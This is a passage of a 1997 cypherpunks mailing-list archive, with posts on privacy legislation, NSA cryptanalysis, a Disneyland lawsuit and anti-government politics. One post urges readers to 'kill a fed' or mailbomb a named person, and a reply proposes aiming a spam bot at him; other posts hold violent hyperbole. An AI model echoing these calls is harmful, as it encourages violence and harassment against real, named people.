Message-ID: <19970822191119.16775.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Patrick Oonk writes:

> Well, the program didn't work at all (at least here, 
> Sun Solaris 2.5.1 Sparc, Perl 5.003) and now
> it does. Before it only connected to one of the numbers
> in the hosts file, now it does to all of them.

I gave the original program a quick try.  I looked at /proc
and saw the correct number of file descriptors, but a 
netstat|grep on my userid did not show any actual connections. 

I put it aside and was going to step through it with the
debugger when I got a free moment, and report back when
I had figured out what the problem was. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 23 Aug 1997 01:02:24 +0800
To: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: heart
In-Reply-To: <Pine.OSF.3.96.970822153401.13142K-100000@oberon>
Message-ID: <Pine.SUN.3.96.970822121032.16494B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, ? the platypus {aka David Formosa} wrote:

> No even by there acts thay do not reduce there humanity.  Humans do some
> realy rotten things but that is just the nature of a creature with free
> will.

And somehow this justifies their actions while allowing them to be human,
and doesn't justify our hatred of them and makes us inhuman?  How's that
again?   The logic of this escapes me.  Perhaps you're much brighter than
I, and can see what I can't.

> > > So we should resond in a simmler mannor?
> > 
> > An eye for an eye, a toilet plunger for another.  That's the only true
> > justice there can be.
> 
> Again I would not wish to live like that Nor do I beleave that it is true
> justice (what ever that may be.).  Its a barbric form of psydojusice.

It's called having the punishment fit the crime precisely and exactly.
It's your choice to live or not live like that.  Nobody is forcing you to
live in any way you dislike: except those that make the laws and enforce
them with toilet plungers.
 
> > Distinction: cypherpunks don't want to control or take away your privacy.
> 
> Of cause, nether do the goverment, in the beinging.  But ideals fade and
> peaple become corrupted.  At some point someone is going to say "To
> protect your privacy we have to violate your privacy."

That would be Hoover.  Correct: corruption.  And why have we accepted and
allowed such corruption of ideals from the start?  The bastard should have
been shot the day he started this shit.
 
> But we are getting to the point where code can do more dammige and be more
> effective then any toilet plunger could be.  (Though I dout it will
> unblock drains)

Erm, when the jack booted thugs come at you with automatics, I'd like to
see you throw PGP disks, or source code at them to see if it can do more
damage to them that their bullets to your body.

> > I understand your fears, but hating the enemy and knowing the enemy isn't
> > becoming it.
> 
> Its just I fear the cure where worce then the desease.

The cure happened once before.  Recall England and the lovely colonies
that rebelled.  Do you believe that cure was worse than the Kings taxes
and troops?

> Thay shouldn't be, but thay often are.  History is littered with examples
> of the heroic revolutionary leader becomeing the next dictor,  often
> before the presdential chair has gotten cold.

True, and agreed.  Doesn't mean we should accept the current fascists in
power and bend over when they ask nicely.
 
> Or stroking the egos and postion of the revolitionaries.

Nor stroking the egos of Klinton and Freeh, nor their position.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gturk@concentric.net
Date: Sat, 23 Aug 1997 00:50:12 +0800
To: Tim May <tcmay@got.net>
Subject: My Vague Wording (Re: Rants by Zooko about Emotionally Stunted Men)
In-Reply-To: <199708211706.TAA00218@xs1.xs4all.nl>
Message-ID: <3.0.3.32.19970822121712.0097b2b0@pop3.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:09 PM 8/21/97 -0700, you wrote:

>Or do you mean like the characterization of list members as
"socio-economic
>cult" members?

Unfortunately, expressing one's views in public creates the possibility
for one's own words to be misinterpreted by others, whether intentionally
or by a simple misunderstanding.

FYI, my reference to "socio-economic cults", originally in the Subject:
line of my post, was not meant as a characterization of the members of the
Cypherpunks list.  I was using the phrase to refer to any of a number of
-isms regarding the redistribution of property against the consent of the
creators/owners of the property.  For that reason (among others) I
included the quote from Bastiat, but perhaps I did not make the point
clear enough.

Sorry for the confusion.

-geoff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 23 Aug 1997 01:28:32 +0800
To: freedom-knights@jetcafe.org
Subject: The Sacco & Vancetti anniversary
Message-ID: <eeJuBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



On August 23, 1927, Niccola Sacco and Bartholomeo Vancetti were murdered
by the USD in Massachussetts.  Please have some beer/pot in their memory
(or kill a fed, or mailbomb Kent Crispin, or whatever you find fitting).

I'll be away from the 'net for the next few days.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 23 Aug 1997 01:12:22 +0800
To: cypherpunks@toad.com
Subject: Re: heart
In-Reply-To: <199708220055.CAA28492@basement.replay.com>
Message-ID: <3.0.2.32.19970822122753.007ff950@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 03:32 PM 8/22/97 +1000, you wrote:
>On Fri, 22 Aug 1997, Anonymous wrote:
>
>> Should we just sit idly by and let police officers attack citizens?
>
>No you should video it.

Well, actually, we have something like that in America on TV, it's called
"COPS".
/============================================================\
 "The right of the people to be secure in their persons,   houses,  papers,
and effects, against unreasonable searches   and  seizures, shall not be
violated."
			-U.S. Constitution, Amendment IV
\============================================================/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 23 Aug 1997 04:03:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Breaking Legal News....
In-Reply-To: <v03102800b022a095d611@[207.167.93.63]>
Message-ID: <3.0.2.32.19970822123735.04113200@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:11 PM 8/21/97 -0700, Tim May wrote:

>Third, the Disneyland case is proceeding. The children "traumatized" by
>seeing the actor playing Mickey remove his mouse head in front of them. Oh,
>the horrors! And this is set to be a _jury_ trial. If I were called in and
>forced to sit on this jury, collecting my oh-so-generous $5 or $10 a day,
>I'd pull out my H & K and blow someone away. (The hysterical grandmother,
>acting out her inner demons, deserves a Hasty Pudding prize for overacting
>and absurdity. You have to see it yourself.)

The children being "tramatized" is only a small part of this case.  If you
look at _WHY_ the kids were there in the first place, the lawsuit makes a
whole lot more sense.  (The family was being held against their will by
overreacting security guards after the family had been robbed in the
parking lot.)  But when you are an ex-mouseketeer, you can screw over the
security guards in court. (Unlike the usual "man-on-the-street" that gets
abuse by the mickey mouse guards.) 

I suggest reading what the real incident involves
<http://www.cnn.com/SHOWBIZ/9708/19/mouseketeer.ap/index.html> instead of
relying on second hand reports.

If you want to make claims that the court system is screwed up, this is not
the best example.  You are ignoring the fact that the grandmother and her
grandchildren were held against their will.  But that does not make for
good rant, does it?

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 23 Aug 1997 04:29:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <199708222003.NAA22352@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>What's wrong with chopping the hands off of thieves and executing muderers?
>A lot of cultures have very little forcible redistribution of wealth, and
>little crime.

an idea already tried in repressive states like iraq/
iran. I would expect you of all people to spot the obvious deficiency.
a criminal system relies on the word of police and prosectors. a
system with penalties like these tends not to have a "due process".
that is, countries with policies like this tend to have only sham trials.

reasonable trials and nasty sentences like these seem never to be
found in combination. probably because they go together in the mind
of the public-- reasonable trials, reasonable sentences.

also, in any criminal justice system you cannot detect guilt with
100% certainty. some people would sleep better at night knowing that
if a mistake has been made, it won't be too severe on an innocent
person. that is a tradeoff that politicians never talk about-- about
the difference between "criminal" and "suspect" and how our system
is guaranteed imperfect in detecting the difference.

for interesting ideas on the court system, a new book called
"the truth machine" (fiction) has some speculations on a future
criminal justice system based on a 100% effective truth detection 
machine.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 04:17:36 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Breaking Legal News....
In-Reply-To: <v03102800b022a095d611@[207.167.93.63]>
Message-ID: <v03102806b0239d71977f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 PM -0700 8/22/97, Alan wrote:

>The children being "tramatized" is only a small part of this case.  If you
>look at _WHY_ the kids were there in the first place, the lawsuit makes a
>whole lot more sense.  (The family was being held against their will by
>overreacting security guards after the family had been robbed in the
>parking lot.)  But when you are an ex-mouseketeer, you can screw over the
....

>I suggest reading what the real incident involves
><http://www.cnn.com/SHOWBIZ/9708/19/mouseketeer.ap/index.html> instead of
>relying on second hand reports.
>

I'm quite familiar with the case. My post was brief, meant as a pointer.
Your stooping to insults, by implying I am unfamiliar with the case and
have gotten my news from "second hand reports" is a cheap shot. As a matter
of fact, I saw more of the actual trial coverage on _video_ than I cared to
(CNN, CNBC, MSNBC)...still think my knowledge is based on "second hand
reports"?

Face it, the family filed the suit, and threw in the nonsense about the
children being traumatized by seeing the cartoon characters exposed as
human beings, because of the high publicity value, and because they figured
Disney would settle out of court. (In fact, there are now reports that an
almost identical suit was filed some years ago by a mother claiming her
child was traumatized by a similar sighting...Disney settled that one on
undisclosed terms. The lawyer in this case no doubt learned of this
previous case, and threw this claim in as well.)

I completely disagree with the main basis of the lawsuit, and I hope the
hysterical Granma and her nitwit daughter are countersued and lose their
little bungalow in the burbs.

The Disneyland parking lot is huge, essentially a city unto itself. This is
the first reported armed robbery in 42 years. Considering what happens
around it, a remarkable statistic.

The notion that a corporation is responsible for the actions of others is
absurd. Check your tort law. Disney was responsible for moderate steps, and
is no guarantor of absolute safety. In fact, the family has admitted that
the Disney security staff was quick to respond. Her apparent complaint
seems to be that they weren't present at the time the alleged robbery
allegedly occurred.

The claim that the party was held against their will depends on a loose
interpretation of the terms. Did the guards physically restrain her when
she tried to leave? No. Or at least there have been no such claims
presented to date. What she has said in her press conferences is that she
was "forced to wait" for papers to be filled out, etc. Hardly the same as
being locked in a jail cell, or handcuffed, or held down by guards, or even
threatened with shooting if she tried to leave.

And think of the implications if Disney loses. Television cameras will be
placed widely in public areas, citizen-units will likely face frisking at
entry points, movements will be restricted, and privacy will vanish. A
rather high price to pay because of one armed robbery in 42 years. Or even
one per month.

And if Disney loses, expect a flood of such lawsuits against
municipalities. Then these municipalities will erect their own surveillance
cameras, restrict movements, establish curfews, etc.

The American legal system has spun out of control. I don't argue that she
should not have the right to sue...everybody does. But a judge can quickly
dismiss a case on a matter of law. And in a "loser pays" situation, which
many thoughtful people advocate, frivolous or unfounded lawsuits would
carry a penalty. (And if the lawsuit filer has no assets, put them in a
work party until their debt is paid.)

There ain't no such thing as a free lunch.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 23 Aug 1997 01:42:01 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: Picketing with packets enhanced version
In-Reply-To: <199708221601.SAA29495@atro.pine.nl>
Message-ID: <Pine.SUN.3.96.970822131446.16494C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



So, what do you changes do?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 23 Aug 1997 05:13:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <v03102803b023719e4bce@[207.167.93.63]>
Message-ID: <199708222025.NAA03687@netcom12.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>We haven't discussed this point in  a while, but the belief most
>cryptologists have is roughly this:
>
>The world-wide community of mathematics and cryptology researchers, linked
>through open publication of new research results, is GREATER than the
>cloistered NSA and GCHQ communities of researchers.
>
>Thus, as bright as Brian Snow or Don Coppersmith or John Conway may be, the
>"edge" the NSA may have once had is largely gone. Which is not to say that
>they are not still a formidable technical organization, with substantial
>computer resources.

I've thought about this, and still wonder if the NSA may have an 
edge. imagine have huge, unlimited resources to spend on whatever
you want. all other mathematicians/researchers in the world are subject to 
having to scrape fund money together via grants. 

guess who grants the
grants? government. and in some cases, I think that it is possible the
grant process is subject to manipulation by government agencies. the
really hot stuff may not be getting funded, because the NSA secretly
pulls the plug and the researcher just thinks, "gosh darn it, didn't
get the grant". a great conspiracy theory, eh? 

as for commercial R&D, it is always ultimately directed toward making
money. this limits the freedom of the researcher as well.

now consider that the NSA is the world's single largest employer of
mathematicians. believe I have seen this claim in some articles on
them. now realize that none of their research is allowed to
be publicized. that is, they can read the open literature, and they
also have their own resources to go past it. individual researchers
outside of the NSA do not have the advantage of seeing what the
NSA is doing. hence a bit one-sided here as well.

consider now that the NSA is not just the largest mathematical
employer, but that they aggressively go after the *best* without
anyone realizing it. consider the spiel: "do a patriotic service
for your country. be among the few, the proud, the spooks". this
they give to the greatest mathematicians you can imagine. it's not
too unlikely. I suspect there are a lot of researchers working for
the NSA with academic "cover stories". hence people you think are
extremely talented and are not working in it are actually working
for it.

some theories, nothing more.

on the other hand, many people have spoken of the compartmentalization
of the government, esp. the NSA, and how this makes it myopic and
ineffectual. I'm not so sure about this. the atomic bomb creation
was pretty compartmentalized at first, yet it was very effective.

>But modern crypto systems are, as we all know, based on fundamental
>mathematical results, e.g., the difficulty in finding the factors of a
>large number, the difficulty in extracting logarithms, etc. And while
>advances in factoring have occurred, often at government labs (think of
>Sandia), the fast factoring of a 1000-decimal-digit number appears
>unachievable.

something to consider is that there has been no major incentive for
anyone to really find such an algorithm until recently, say within
the last 10 years or so. I believe it is mistaken to pretend that
mathematicians have been trying to find an efficient factoring algorithm
since the dawn of math. perhaps out of amusement, but not seriousness.
there is no practical reason why large numbers needed to be factored
in math other than curiousity, until recently. what I am saying is
that I doubt the worlds greatest mathematicians of the past spent much
time trying to find a fast factoring algorithm.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 23 Aug 1997 02:25:09 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
In-Reply-To: <zfSKWel2fMK2Yh4Ik/Xwww==@JawJaCrakR>
Message-ID: <Pine.SUN.3.96.970822132716.16494D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Anonymous wrote:

>   Jeez, Ray. If you follow this twisted train of logic, you end up
> expecting the President and the Legislature to take responsibility for
> the State of the Union.

U-yep.  Gee, after all, he is running the country.  He should have SOME
responsability for his actions, especially when he fucks the whole country
by them.

>   Are you some kind of godless Commie, or something? 

godless?  depends on which god you mean...  Commie, fuck no, I'm an scotch
swilling daft punk anarchist singing "Anarchy in the USA" and "God Save
the Queen, she ain't no human bein'" :) 

> You'll certainly
> feel foolish when the FBI lab proves that the trigger was pulled by
> a drug dealer who was told to do so by a child molester. It's just a
> shame that those poor federal agents had to be there to witness the
> tragedy.

It figures the murdering FBI agent would also be a drug dealer and have a
pedophile as his C.O.  Damn, I knew it! :)   Now if agents Molder and
Scully could get on the case and prove this!  I'd bet it has something to
do with the smoking man too!  *BURP*

:)

> GovtLicensedMurderMonger

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 23 Aug 1997 02:21:11 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: The Sacco & Vancetti anniversary
In-Reply-To: <eeJuBe1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970822133452.16494E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> On August 23, 1927, Niccola Sacco and Bartholomeo Vancetti were murdered
> by the USD in Massachussetts.  Please have some beer/pot in their memory

> (or kill a fed, or mailbomb Kent Crispin, or whatever you find fitting).

Now there's an idea Doc, say you still got that spam bot of yours... c'me
here Kent... hehhehehe...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sat, 23 Aug 1997 02:21:41 +0800
To: cypherpunks@Algebra.COM
Subject: Say No To Christ
Message-ID: <Pine.LNX.3.95.970822134113.10036A-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



It's not an _Onion_ satire:
<http://apocalypse.berkshire.net/~ifas/fw/9707/update.html#aliens> 

---------- Forwarded message ----------
From: bofus?
Subject: Pat Robertson advocates stoning for UFO enthusiasts
Date: Fri, 22 Aug 1997 07:39:49 -0800
Message-ID: <33FDB249.335F@mindspring.com>

RuffinP@aol.com wrote:
>
>
>
>
>
>  FREEDOM WRITER PRESS RELEASE
>
>  FOR IMMEDIATE RELEASE July 28, 1997
>  CONTACT: Skipp Porteous (413) 528-3800
>
>
>
>  Robertson advocates stoning for UFO
>  enthusiasts
>
>
>  Great Barrington, MA -- In a recent
>  pronouncement, television evangelist and
>  head of the Christian Coalition, Pat
>  Robertson, advocated death by stoning for
>  UFO enthusiasts.
>
>  Freedom Writer magazine, in its July/August
>  issue, mailed today, disclosed Robertson's
>  statement. Freedom Writer is published by
>  the Institute for First Amendment Studies,
>  a group that monitors the right.
>
>  Robertson used the news of the July 4th
>  Mars landing to promote his extreme
>  beliefs. A segment on the July 8, 1997
>  broadcast of The 700 Club featured news of
>  the Mars Pathfinder mission. Employing the
>  historical event as a starting point, the
>  program delved into the possibility of the
>  existence of UFOs and space aliens.
>
>  While Robertson viewed the space program
>  with suspicion, on a more serious note, he
>  launched into a diatribe against those who
>  entertain the existence of space aliens and
>  UFOs. He said, in a rambling discourse, that
>  if such things exist, they are simply demons
>  trying to lead people away from Christ.
>  According to Robertson, the threat is so
>  serious that people who believe in space
>  aliens should be put to death by stoning --
>  according to "God's word."
>
>  "The Bible says the Earth belongs to man,
>  but the heavens belong to the Lord,"
>  Robertson said.
>
>  "He has given us the Earth. He also warned,
>  way back when Moses was writing down not
>  only what is the Ten Commandments, but
>  Deuteronomy, which is almost the Second Law.
>
>  "Here is what he said to the children of
>  Israel about this whole matter:
>
>  "'If there is found among you, within any
>  of your gates which the Lord your God gives
>  you, a man or a woman who has been wicked in
>  the sight of the Lord your God, in
>  transgressing His covenant, who has gone
>  and served other gods and worshipped them,
>  either the sun or moon or any of the hosts
>  of heaven which I have not commanded you,
>  and you hear of it, then you shall inquire
>  diligently. And if it is indeed true and
>  certain that such an abomination has been
>  committed in Israel, then you shall bring
>  out to your gates that man or woman who has
>  committed that wicked thing, and stone to
>  death that man or woman with stones.'"
>  (Deuteronomy 17:2-5, NKJV)
>
>  "Now, that's what Moses said to the
>  children of Israel about those who worship
>  the sun and the moon and the hosts of
>  heaven, because these things, at best, are
>  lifeless nothings, or, if they are
>  intelligent, they're demonic. And, yes,
>  there is a host of heaven. There are angels
>  and there are fallen angels. There is no
>  question about it."
>
>  "Can a demon appear as a slanty-eyed,
>  funny-looking creature? Of course he can,
>  or it can. Of course they can deceive
>  people. And if they can lead somebody away
>  from the true God, or away from Jesus
>  Christ, anyway it happens, it doesn't
>  matter, you will lose your salvation. It
>  doesn't matter how they get you. The
>  question is, did they get you, and under
>  what guise?
>
>  "This is man in rebellion against God, who
>  refuses to take God's Law. And God says,
>  'My covenant says you won't do this. And if
>  I find anybody in Israel,'-- "which is his
>  pure nation" -- 'If I find anybody in
>  Israel that's doing this sort of thing,
>  then I want you to take him out and dispose
>  of him."
>
>  "It's a clear violation of God's word."
>
>  Skipp Porteous, Freedom Writer publisher,
>  commented: "As the founder and chairman of
>  the Christian Coalition -- a group
>  dedicated to becoming the most powerful
>  political force in America -- Robertson's
>  extreme ideas need to be taken seriously,
>  for they not only negate pluralism, but
>  condemn to death those who dare to believe
>  differently."

--------- End forwarded message ----------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 23 Aug 1997 05:31:21 +0800
To: cypherpunks@toad.com
Subject: Marc Rotenberg on Time cover story on privacy (fwd)
Message-ID: <Pine.GSO.3.95.970822141444.5291F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 22 Aug 1997 14:12:25 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Marc Rotenberg on Time cover story on privacy

[My comments on privacy that I forwarded yesterday under the Subject: line
"Response to Time cover on privacy" were in response to Marc's criticism,
attached below. -Declan]

---------- Forwarded message ----------
Date: Thu, 21 Aug 1997 11:49:13 -0400
From: Marc Rotenberg <rotenberg@epic.org>
To: declan@well.com
Subject: Re: FC: Response to Time cover on privacy

----

Josh -

I appreciate the excellent coverage of privacy issues in this
week's Time Magazine and at the Pathfinder site, but I am
concerned about three particular points made in your
article and the general tenor of your reporting.

First, much of your discussion of the privacy issue assumes
that there is a necessary trade-off between privacy and
social benefit. Give up some data, get a good parking space.
I think this is a very shallow view of privacy rights. A
person who lives in a prison has very little privacy and
very little benefit. An affluent person in a democratic
society, however, may have both. Clearly, there is something
more going on than a zero-sum game.

Many of the current efforts to promote genuine privacy
enhancing techniques, such as anonymous cash, are based on
the belief that we can obtain many of the same benefits
of customized service without giving up personally
indentifiable information. In this context, the
discussion of cookies is critical -- a non-actual
user identified cookie is very good for service and
privacy, but a user-identified cookie can be good
for service but bad for privacy. But your discussion
of cookies glosses over this critical point.

These questions come up all the time. Should intelligent
highways capture actual IDs? Can medical services be
delivered psuedo-anonymously? What about communication
services? Web access? You substituted an old privacy
cliche ("in the modern world we give up some privacy
for some benefit") for coverage of the interesting,
cutting edge policy issues that the net and the
debate about identity has raised.

Second, following Alan Westin's line, you suggest that
we have generally avoided privacy legislation in the private
sector. This is simply not true. We have federal privacy
legislation for credit record (1970), school records
(1974), bank records (1978), cable subscriber records
(1984), stored email (1986), video rental records (1988),
junk faxes and auto dialers (1991), and dozens more at
the state level for everything from insurance and health
records to library records.

You can say that these laws are at times ineffective or
incoherent -- why federal privacy for video records
but nor medical records? -- but it is just wrong to start
tearing pages from the history books and the US code
to support a bias against privacy laws. Alan should know
better; you should as well.

Finally, you and Kevin K. take a big swing at my call for
privacy legislation and a privacy agency. I appreciate that
it is a cardinal rule of some to oppose any government
anything, but at least understand the argument for the
privacy agency


  "We need new legal protections to enforce the privacy act, . . ."

The Privacy Act was established in 1974 to restrict the
ability of government to collect information on citizens
and to give citizens the right to get access to their
own files. But since '74, federal agencies have shown
little interest in upholding the law and privacy
concerns *across the federal government* have
mushroomed.

Do I take from Kevin's criticism that he would prefer
that there was no effort to improve enforcment of the
Privacy Act, limit record sharing in the government,
and ensure people get access to their own files? Is
that right?

Can we at least agree that the Privacy Act plays
an important role in protecting citizen rights and
that efforts to strengthen it should be supported?

  " . . . to keep federal agencies in line, . . .'

So that, for example, when law enforcement agencies in
the federal government press the White House and the
OMB for new law enforcement authority there is a
counterveiling agency in the government that requires
that privacy concerns are addressed before the proposal
reaches the President's desk. And if they aren't
adequately addressed, maybe the proposal doesn't
get to the President's desk.

It is obvious after both the Clipper episode and the OECD
Crypto Guidelines that governments with privacy agencys
have done a better job resisting these calls for
extended government surveillance. The problem is that
the one-dimensional critique of government provided in the
article (and Wired and Netly) simply doesn't allow for the
possibility that one of the best ways to constrain government
power is through checks and balances. That, btw, was the key to
controlling government authority in the US Constitution.

In the absence of a federal privacy agency, you can
almost be guaranteed that administration proposals
will always tip in favor of surveillance. And
the irony of the opposition by some to a federal
privacy agency is that it has made it easier over the
last few years for NSA/FBI to push forward crypto
standards and roll the Department of Commerce. What in
the federal government should stop them? Absent an
office to push back, they have a clear course to the
President's desk.

  " . . . to act as a spokesperson for the Federal Government . . ."

This is for the fairly obvious reason that privacy is one
of the biggest issues today in the US and there is no
office in government that can even say authoritatively
what the position of the US is. (Note that this problem
doesn't exist over on the surveillance side or with
copyright protection. The government values both. So David
Aaron was given the title and the authority to promote
the Administration position on key escrow/key recovery,
and Bruce Lehman did the same at WIPO for copyrights
interests. Do you understand now what's going on?).
The result is that there is not even a basis for
trade discussion or government negotiation.

 . . . and to act on behalf of privacy interests."

So that when SSA is putting PEBES on line there is
some privacy evaluation.

Or, to take a recent European example, the new German
communications law encourages the development of
anonymous payment schemes to promote on-line commerce
and to protect privacy. Where did the idea come
from? The privacy agency.

So, I have to ask, what is it exactly in my proposal that
you/Kevin/Declan object to? Is it the fact that there
will be a government <something>? I can't argue against
that. You're entitled to your religious beliefs, but it
has nothing to do with reporting or policy. Is it
the fact that Trustee, OPS will do all of this better?
If you have been following my point, you'll realize now
that doesn't make any sense. Or what if it costs taxpayer
dollars? In 1993 I backed creation of a federal privacy
agency. Total cost: $5 m.  The industry balked. "Too expensive.
We have to trim the federal budget." The following year they
backed Digital Telephony and a $500 m authorization
to make the phone system easy to wiretap.

I am also getting a little tired of the myth of the small
town where everyone knew everything about everyone else and
that there was no privacy. First off, this myth runs directly
contrary to another, better description of American society
-- the unexplored frontier. Where exactly did all those frontiersmen
come from? The answer is the small town. People were constantly
picking up and moving, building new homes, and establishing
new identities. Many people born in these small towns left and
went to school, joined the military, started businesses, moved to
the city. Mobility, more than any other characteristic, is central
to the American experience. Read Tocqueville. Civic association
was and is constantly formed and reformed.

Finally, I do agree with Kevin that privacy is very much about
social relations. In fact the tag line for the book that Phil Agre
and I edited for MIT Press, "Technology and Privacy: The New Landscape"
http://www-mitpress.mit.edu/book-home.tcl?isbn=026201162X
begins "Privacy is the capacity to negotiate social
relationships by controlling access to personal information."

Privacy rules essentially establish the base lines for
negotiating social relations between individuals and
organizations. If you collect personal information, you
take on some responsibilities. If you give up some
information, you get some rights. You'll find those
principles in just about every privacy law and policy
in the world. Not only is this commonsense, but it
has some nice benefits for an era when technology allows
us to shape new forms of social relations -- we can
design techniques that allow organizations and inviduals
to interact without disclosure of personal information.
Indeed, the web and the Net provided all of this to
us, but now it could be quickly lost.

I don't know what it will take to persuade some of the
opinion leaders in the on-line world that law will play
a critical role in protecting individual privacy in the
coming years, but I'm willing to listen and learn.And I
hope, whatever form this dialogue takes, we can all move
beyond ideology, myth, and charicature.

Marc Rotenberg.
EPIC.


==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 23 Aug 1997 05:48:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <1.5.4.32.19970822193215.00831fc0@pop.pipeline.com>
Message-ID: <19970822212925.30178.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young writes:

> Along this line:

